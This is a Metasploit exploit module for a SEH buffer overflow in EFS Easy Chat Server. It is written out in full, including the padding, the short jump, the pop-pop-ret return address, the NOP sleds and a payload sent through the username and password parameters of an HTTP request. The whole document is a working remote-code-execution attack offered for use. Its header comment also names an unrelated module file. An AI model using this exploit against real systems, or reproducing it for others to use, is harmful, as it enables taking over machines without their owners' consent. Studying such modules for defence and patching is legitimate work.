EFS Easy Chat Server – Universal Buffer Overflow (SEH) (Metasploit)
## # $Id: ca_igateway_debug.rb 6568 2009-05-19 13:20:32Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'EFS Easy Chat server Universal BOF-SEH (META)', 'Description' => %q{ This module exploits a vulnerability in Easy chat server by passing an arbitary evil biuffer along with the username password. Sucessful attack could run arbitary code on victim machine }, 'Author' => 'FB1H2S', 'License' => MSF_LICENSE, 'Version' => '', 'References' => [ [ 'Exploitdb', 'http://www.exploit-db.com/exploits/11179' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 1200, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, 'Compat' => { 'ConnectionType' => '+ws2ord', }, }, 'Platform' => 'win', 'Targets' => [ [ 'EFS Easy Chat Server Universal', { 'Ret' => 0x1001b9a2 } ], # p/p/r ], 'Privileged' => true, 'DisclosureDate' => 'jan 2010', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), ], self.class) end def exploit connect sploit = Rex::Text.rand_text_alphanumeric(216) sploit << "\xeb\x06\x90\x90" # short jump 6 bytes sploit << [target.ret].pack('V') #ppr universal sploit << "\x90" * 20 # nop sled sploit << payload.encoded #payload \xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc sploit << "\x90" * 20 request= 'chat.ghp?username=' +sploit+ '&password=' +sploit+ '&room=1&sex=2' send = "GET /" + request + " HTTP/1.0" sock.put(send + "\r\n\r\n\r\n") disconnect handler end end |